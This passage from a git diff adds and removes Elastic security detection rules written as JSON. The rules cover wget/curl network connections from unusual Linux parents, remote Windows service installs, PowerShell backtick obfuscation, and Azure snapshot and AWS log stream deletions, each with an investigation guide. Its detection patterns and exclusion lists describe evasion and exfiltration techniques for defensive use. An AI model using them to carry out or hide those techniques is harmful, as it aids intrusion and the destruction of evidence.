(\"*/home/linuxbrew/.linuxbrew/*\", \"*Homebrew*\", \"*webhook*\") or\n process.args like (\"/usr/lib/jvm/*\", \"/root/.forge/provision-*.sh\", \"/usr/src/ucrm/scripts/update-certificates.sh\", \"/etc/periodic/weekly/update_mmdb.sh\") or\n (process.name == \"nohup\" and process.command_line like \"nohup /usr/*/*.sh\") or\n (process.name == \"julia\" and process.parent.name == \"julia\")\n )\n ] by process.entity_id\n [network where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"connection_attempted\" and\n process.name in (\"wget\", \"curl\") and not (\n destination.ip == null or destination.ip == \"0.0.0.0\" or cidrmatch(\n destination.ip, \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\", \"192.0.0.0/24\", \"192.0.0.0/29\",\n \"192.0.0.8/32\", \"192.0.0.9/32\", \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\",\n \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.168.0.0/16\", \"192.88.99.0/24\", \"224.0.0.0/4\", \"100.64.0.0/10\",\n \"192.175.48.0/24\",\"198.18.0.0/15\", \"198.51.100.0/24\", \"203.0.113.0/24\", \"240.0.0.0/4\", \"::1\", \"FE80::/10\",\n \"FF00::/8\"\n )\n )\n ] by process.parent.entity_id\n", + "references": [ + "https://gtfobins.github.io/#+shell" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "destination.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "d1ee711a-a3ba-4d73-b5ab-84cab5b37fb3", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Tactic: Execution", + "Tactic: Command and Control", + "Tactic: Exfiltration", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1218", + "name": "System Binary Proxy Execution", + "reference": "https://attack.mitre.org/techniques/T1218/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [] + } + ], + "type": "eql", + "version": 1 + }, + "id": "d1ee711a-a3ba-4d73-b5ab-84cab5b37fb3_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d33ea3bf-9a11-463e-bd46-f648f2a0f4b1_112.json b/packages/security_detection_engine/kibana/security_rule/d33ea3bf-9a11-463e-bd46-f648f2a0f4b1_112.json new file mode 100644 index 00000000000..49edcd0ea12 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/d33ea3bf-9a11-463e-bd46-f648f2a0f4b1_112.json @@ -0,0 +1,131 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies a network logon followed by Windows service creation with same LogonId. This could be indicative of lateral movement, but will be noisy if commonly done by administrators.\"", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Remote Windows Service Installed", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Remote Windows Service Installed\n\nWindows services are crucial for running background processes. Adversaries exploit this by installing services remotely to maintain persistence or move laterally within a network. The detection rule identifies suspicious service installations following a network logon, excluding known legitimate services, to flag potential unauthorized activities. This helps in identifying and mitigating threats early.\n\n### Possible investigation steps\n\n- Review the source IP address from the authentication event to determine if it is from a known or trusted network segment. Investigate any unfamiliar or suspicious IP addresses.\n- Check the winlog.logon.id to correlate the logon session with the service installation event, ensuring they are part of the same session.\n- Investigate the user account associated with the logon session to determine if the activity aligns with their typical behavior or role within the organization.\n- Examine the service file path from the service-installed event to identify if it is a known or legitimate application. Pay special attention to any paths not excluded in the query.\n- Look into the history of the computer where the service was installed (winlog.computer_name) for any previous suspicious activities or alerts.\n- Assess the timing and frequency of similar events to determine if this is an isolated incident or part of a broader pattern of suspicious behavior.\n\n### False positive analysis\n\n- Administrative activities can trigger false positives when administrators frequently install or update services remotely. To manage this, create exceptions for known administrative accounts or specific IP addresses used by IT staff.\n- Legitimate software installations or updates may appear as suspicious service installations. Maintain an updated list of authorized software paths and exclude these from the detection rule.\n- Automated deployment tools like PDQ Deploy or Veeam Backup can cause false positives. Identify and exclude the service paths associated with these tools to reduce noise.\n- Scheduled tasks that install or update services as part of routine maintenance can be mistaken for threats. Document and exclude these tasks from the rule to prevent unnecessary alerts.\n- Internal security tools that perform regular checks or updates may also trigger alerts. Ensure these tools are recognized and their service paths are excluded from the detection criteria.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further lateral movement by the adversary. This can be done by disabling network interfaces or using network segmentation tools.\n- Terminate any unauthorized services identified by the alert to stop any malicious processes from running. Use task management tools or command-line utilities to stop and disable these services.\n- Conduct a thorough review of recent logon events and service installations on the affected system to identify any additional unauthorized activities or compromised accounts.\n- Change passwords for any accounts that were used in the unauthorized service installation, especially if they have administrative privileges, to prevent further unauthorized access.\n- Restore the affected system from a known good backup if any malicious changes or persistence mechanisms are detected that cannot be easily remediated.\n- Implement network monitoring and alerting for similar suspicious activities, such as unexpected service installations or network logons, to enhance detection and response capabilities.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been compromised.", + "query": "sequence by winlog.logon.id, winlog.computer_name with maxspan=1m\n[authentication where host.os.type == \"windows\" and event.action == \"logged-in\" and winlog.logon.type : \"Network\" and\n event.outcome == \"success\" and source.ip != null and source.ip != \"127.0.0.1\" and source.ip != \"::1\"]\n[iam where host.os.type == \"windows\" and event.action == \"service-installed\" and\n not winlog.event_data.SubjectLogonId : \"0x3e7\" and\n not winlog.event_data.ServiceFileName :\n (\"?:\\\\Windows\\\\ADCR_Agent\\\\adcrsvc.exe\",\n \"?:\\\\Windows\\\\System32\\\\VSSVC.exe\",\n \"?:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\n \"?:\\\\Windows\\\\System32\\\\svchost.exe\",\n \"?:\\\\Program Files (x86)\\\\*.exe\",\n \"?:\\\\Program Files\\\\*.exe\",\n \"?:\\\\Windows\\\\PSEXESVC.EXE\",\n \"?:\\\\Windows\\\\System32\\\\sppsvc.exe\",\n \"?:\\\\Windows\\\\System32\\\\wbem\\\\WmiApSrv.exe\",\n \"?:\\\\WINDOWS\\\\RemoteAuditService.exe\",\n \"?:\\\\Windows\\\\VeeamVssSupport\\\\VeeamGuestHelper.exe\",\n \"?:\\\\Windows\\\\VeeamLogShipper\\\\VeeamLogShipper.exe\",\n \"?:\\\\Windows\\\\CAInvokerService.exe\",\n \"?:\\\\Windows\\\\System32\\\\upfc.exe\",\n \"?:\\\\Windows\\\\AdminArsenal\\\\PDQ*.exe\",\n \"?:\\\\Windows\\\\System32\\\\vds.exe\",\n \"?:\\\\Windows\\\\Veeam\\\\Backup\\\\VeeamDeploymentSvc.exe\",\n \"?:\\\\Windows\\\\ProPatches\\\\Scheduler\\\\STSchedEx.exe\",\n \"?:\\\\Windows\\\\System32\\\\certsrv.exe\",\n \"?:\\\\Windows\\\\eset-remote-install-service.exe\",\n \"?:\\\\Pella Corporation\\\\Pella Order Management\\\\GPAutoSvc.exe\",\n \"?:\\\\Pella Corporation\\\\OSCToGPAutoService\\\\OSCToGPAutoSvc.exe\",\n \"?:\\\\Pella Corporation\\\\Pella Order Management\\\\GPAutoSvc.exe\",\n \"?:\\\\Windows\\\\SysWOW64\\\\NwxExeSvc\\\\NwxExeSvc.exe\",\n \"?:\\\\Windows\\\\System32\\\\taskhostex.exe\")]\n", + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.ServiceFileName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectLogonId", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.logon.id", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.logon.type", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "d33ea3bf-9a11-463e-bd46-f648f2a0f4b1", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Lateral Movement", + "Tactic: Persistence", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1021", + "name": "Remote Services", + "reference": "https://attack.mitre.org/techniques/T1021/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1543", + "name": "Create or Modify System Process", + "reference": "https://attack.mitre.org/techniques/T1543/", + "subtechnique": [ + { + "id": "T1543.003", + "name": "Windows Service", + "reference": "https://attack.mitre.org/techniques/T1543/003/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 112 + }, + "id": "d33ea3bf-9a11-463e-bd46-f648f2a0f4b1_112", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d43f2b43-02a1-4219-8ce9-10929a32a618_1.json b/packages/security_detection_engine/kibana/security_rule/d43f2b43-02a1-4219-8ce9-10929a32a618_1.json deleted file mode 100644 index 6c3fe50a577..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/d43f2b43-02a1-4219-8ce9-10929a32a618_1.json +++ /dev/null @@ -1,79 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that use backtick-escaped characters inside ${} variable expansion as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Look for scripts with more than 500 chars that contain a related keyword\n| EVAL script_len = LENGTH(powershell.file.script_block_text)\n| WHERE script_len > 500\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"\\$\\{(\\w++`){2,}\\w++\\}\"\"\", \"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, file.name, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n| WHERE count >= 1\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "d43f2b43-02a1-4219-8ce9-10929a32a618", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "d43f2b43-02a1-4219-8ce9-10929a32a618_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d4e5f6a7-8b9c-0d1e-2f3a-4b5c6d7e8f9a_1.json b/packages/security_detection_engine/kibana/security_rule/d4e5f6a7-8b9c-0d1e-2f3a-4b5c6d7e8f9a_1.json new file mode 100644 index 00000000000..180fd1aea60 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/d4e5f6a7-8b9c-0d1e-2f3a-4b5c6d7e8f9a_1.json @@ -0,0 +1,118 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when a single user or service principal deletes multiple Azure disk snapshots within a short time period. This behavior may indicate an adversary attempting to inhibit system recovery capabilities, destroy backup evidence, or prepare for a ransomware attack. Mass deletion of snapshots eliminates restore points and significantly impacts disaster recovery capabilities, making it a critical indicator of potentially malicious activity.", + "false_positives": [ + "Infrastructure teams may legitimately delete multiple snapshots during planned maintenance, storage optimization, or cleanup of expired backup data according to retention policies. Verify that the deletion activity was expected and follows organizational change management processes. Consider exceptions for approved maintenance windows or automation service principals managing backup retention." + ], + "from": "now-9m", + "index": [ + "logs-azure.activitylogs-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "azure.activitylogs.identity.claims_initiated_by_user.name", + "azure.activitylogs.identity.authorization.evidence.principal_id", + "azure.activitylogs.identity.claims.appid", + "azure.activitylogs.identity.claims.sid", + "azure.resource.name", + "azure.resource.group", + "azure.activitylogs.operation_name", + "azure.subscription_id", + "azure.activitylogs.tenant_id", + "source.ip" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "Azure Compute Snapshot Deletions by User", + "note": "## Triage and analysis\n\n### Investigating Azure Compute Snapshot Deletions by User\n\nAzure disk snapshots are critical backup and recovery resources that enable organizations to restore data and investigate security incidents. Mass deletion of snapshots is a highly suspicious activity commonly associated with ransomware preparation, evidence destruction, or sabotage operations. Adversaries frequently target snapshots to prevent victims from recovering data without paying ransom or to eliminate forensic evidence of their activities. This detection identifies when a single identity deletes multiple snapshots in a short timeframe, which is rarely performed by legitimate administrators except during controlled maintenance activities.\n\n### Possible investigation steps\n\n- Review the Azure activity logs to identify the user or service principal that initiated the multiple snapshot deletions by examining the principal ID, UPN and user agent fields in `azure.activitylogs.identity.claims_initiated_by_user.name`.\n- Check the specific snapshot names in `azure.resource.name` to understand which backups were deleted and assess the overall impact on recovery capabilities.\n- Investigate the timing and sequence of deletions to determine if they followed a pattern consistent with automated malicious activity or manual destruction.\n- Examine the user's recent activity history including authentication events, privilege changes, and other Azure resource modifications to identify signs of account compromise.\n- Verify if the snapshot deletions align with approved change requests, maintenance windows, or data retention policies in your organization.\n- Check if other backup-related resources (backup vaults, recovery services, additional snapshots) were also accessed or modified by the same principal.\n- Review any related alerts or activities such as VM encryption, disk modifications, or unusual data access that occurred before the deletions.\n- Investigate if other Azure resources (VMs, disks, storage accounts) were also deleted or modified by the same principal.\n- Check the authentication source and location to identify if the activity originated from an expected network location or potentially compromised session.\n- Determine if any remaining snapshots or alternative backups exist for the affected resources.\n\n### False positive analysis\n\n- Legitimate bulk cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and coordinate with infrastructure teams to create exceptions during planned maintenance windows.\n- Infrastructure-as-Code (IaC) automation tools or backup management solutions may delete multiple expired snapshots. Identify service principals used by backup retention tools and consider creating exceptions for these identities when following documented retention schedules.\n- Cost optimization initiatives may involve bulk deletion of old or redundant snapshots. Coordinate with finance and infrastructure teams to understand planned optimization activities and schedule them during documented maintenance windows.\n- Disaster recovery testing or environment teardown may involve deletion of multiple test snapshots. Work with business continuity and DevOps teams to identify these patterns and create time-based exceptions during testing periods.\n- Storage migration or consolidation projects may require deletion of old snapshots. Coordinate with infrastructure teams to understand planned migration activities and create exceptions during documented project timelines.\n\n### Response and remediation\n\n- Immediately investigate whether the deletions were authorized by verifying with backup administrators, infrastructure teams, or relevant stakeholders.\n- If the deletions were unauthorized, disable the compromised user account or service principal immediately to prevent further damage.\n- Check if any snapshots can be recovered through Azure backup services, soft-delete capabilities, or alternative backup mechanisms.\n- Create new snapshots of all critical disks immediately to establish new restore points if the deleted snapshots were part of your backup strategy.\n- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities and remove excessive permissions.\n- Conduct a full security assessment to identify the initial access vector, any other compromised accounts, and potential lateral movement.\n- Implement Azure Resource Locks on all critical snapshots and backup resources to prevent accidental or malicious deletion.\n- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators and require approval workflows for deletion operations.\n- Enable Azure Activity Log alerts and configure notifications to security teams immediately when snapshots are deleted.\n- Review and enhance backup strategies to ensure redundant backup mechanisms exist beyond Azure snapshots, including geo-redundant backups and offline copies.\n- Escalate the incident to the security operations center (SOC) or incident response team for investigation of potential ransomware preparation or broader compromise.\n- Document the incident and update security policies, playbooks, and procedures to prevent similar incidents in the future.\n", + "query": "event.dataset: azure.activitylogs and\n azure.activitylogs.operation_name: \"MICROSOFT.COMPUTE/SNAPSHOTS/DELETE\" and\n azure.activitylogs.properties.status_code: \"Accepted\" and\n azure.activitylogs.identity.claims_initiated_by_user.name: *\n", + "references": [ + "https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/" + ], + "related_integrations": [ + { + "integration": "activitylogs", + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "azure.activitylogs.identity.claims_initiated_by_user.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.activitylogs.operation_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.activitylogs.properties.status_code", + "type": "unknown" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "d4e5f6a7-8b9c-0d1e-2f3a-4b5c6d7e8f9a", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: Storage", + "Data Source: Azure", + "Data Source: Azure Activity Logs", + "Use Case: Threat Detection", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1485", + "name": "Data Destruction", + "reference": "https://attack.mitre.org/techniques/T1485/" + }, + { + "id": "T1490", + "name": "Inhibit System Recovery", + "reference": "https://attack.mitre.org/techniques/T1490/" + } + ] + } + ], + "threshold": { + "cardinality": [ + { + "field": "azure.resource.name", + "value": 3 + } + ], + "field": [ + "azure.activitylogs.identity.claims_initiated_by_user.name" + ], + "value": 1 + }, + "timestamp_override": "event.ingested", + "type": "threshold", + "version": 1 + }, + "id": "d4e5f6a7-8b9c-0d1e-2f3a-4b5c6d7e8f9a_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d624f0ae-3dd1-4856-9aad-ccfe4d4bfa17_212.json b/packages/security_detection_engine/kibana/security_rule/d624f0ae-3dd1-4856-9aad-ccfe4d4bfa17_212.json new file mode 100644 index 00000000000..a80d9d266fd --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/d624f0ae-3dd1-4856-9aad-ccfe4d4bfa17_212.json @@ -0,0 +1,138 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the deletion of an Amazon CloudWatch log stream using the \"DeleteLogStream\" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity.", + "false_positives": [ + "CloudWatch log streams may be deleted legitimately during log rotation processes, test environment resets, or infrastructure deployments that recreate log groups and streams. Validate the identity, automation pipeline, and IP address associated with the deletion. If deletions are expected from specific CI/CD systems or administrative roles, consider adding targeted exceptions." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS CloudWatch Log Stream Deletion", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. \n> While every effort has been made to ensure its quality, validate and adapt it to your operational context.\n\n### Investigating AWS CloudWatch Log Stream Deletion\n\nCloudWatch log streams contain sequential log events from a single application, service, or AWS resource. \nDeleting a log stream permanently removes its archived log events, which may disable monitoring workflows, eliminate \ncritical telemetry, or disrupt forensic visibility.\n\nAdversaries may delete log streams to cover their tracks after unauthorized actions, break ingestion pipelines feeding SIEM, alerting, or anomaly detection or to remove evidence before escalating privileges or moving laterally. This rule detects successful invocations of the `DeleteLogStream` API from CloudTrail.\n\n#### Possible investigation steps\n\n- **Identify the actor**\n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. \n - Confirm whether the user or role normally manages CloudWatch Logs resources.\n\n- **Review request details**\n - Inspect `aws.cloudtrail.request_parameters` to determine which log stream and parent log group were deleted. \n - Assess the importance of the deleted stream:\n - Was it used for VPC Flow Logs, CloudTrail, Lambda functions, ECS tasks, or application logs? \n - Did it contain logs used for security detection or compliance auditing?\n\n- **Examine request origin and context**\n - Review `source.ip` and `user_agent.original` for anomalies (e.g., unfamiliar CLI tools, suspicious automation, \n unknown IP ranges, or external geolocations).\n - Validate whether the request originated from a legitimate automation host or jump box. \n - Check activity around the same timestamp for related operations such as:\n - `DeleteLogGroup`\n - `StopLogging`, `UpdateTrail`, or `DeleteTrail`\n - GuardDuty detector or CloudWatch alarm deletions\n - IAM policy or role modifications\n\n- **Determine operational justification**\n - Consult change management systems or deployment pipelines to confirm whether the deletion was planned. \n - Contact application owners or platform teams to determine whether the log stream was part of normal rotation or cleanup.\n\n- **Investigate broader compromise indicators**\n - Look for suspicious activity by the same identity in the past 24\u201348 hours, such as:\n - Failed authentication attempts \n - IAM privilege escalations \n - Unusual STS AssumeRole usage \n - Access from new geolocations \n\n### False positive analysis\n\n- **Log rotation and automation**\n - Some systems delete log streams automatically when rolling new deployments or recycling compute resources.\n - CI/CD pipelines managing immutable infrastructure may delete and recreate streams during each deploy.\n\n- **Test and development accounts**\n - Dev/test environments may frequently create and delete log streams as part of iterative work.\n\n- **Bulk cleanup operations**\n - Platform engineering teams may delete obsolete log streams during cost-optimization or log-retention management.\n\nIf the rule triggers frequently from known infrastructure accounts or automation hosts, consider adding narrow exceptions using a combination of IAM role, IP range, or user agent.\n\n### Response and remediation\n\n- **Containment**\n - If the deletion is unauthorized, review other CloudWatch resources for additional tampering (alarms, log groups, metric filters).\n - Temporarily restrict permissions for the implicated IAM user or role.\n\n- **Investigation**\n - Reconstruct any missing telemetry from alternative sources (e.g., S3 buckets, application logs, third-party logging systems).\n - Review CloudTrail and Config timelines for preceding suspicious events.\n - Validate whether the deleted log stream contained evidence of prior compromise.\n\n- **Recovery and hardening**\n - Implement IAM least-privilege for `logs:DeleteLogStream`.\n - Enable AWS Config rules to monitor CloudWatch Logs configuration changes. \n - Ensure that business-critical log groups enforce minimum retention periods and prevent accidental deletion.\n - Integrate log stream lifecycle management into CI/CD to avoid manual deletions.\n - Establish guardrails using Service Control Policies (SCPs) to block log deletions outside designated automation roles.\n\n### Additional information\n\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: \"aws.cloudtrail\" \n and event.provider: \"logs.amazonaws.com\" \n and event.action: \"DeleteLogStream\" \n and event.outcome: \"success\"\n and source.ip: * \n and not user_agent.original : \"AWS Internal\"\n", + "references": [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-stream.html", + "https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogStream.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user_agent.original", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "d624f0ae-3dd1-4856-9aad-ccfe4d4bfa17", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: 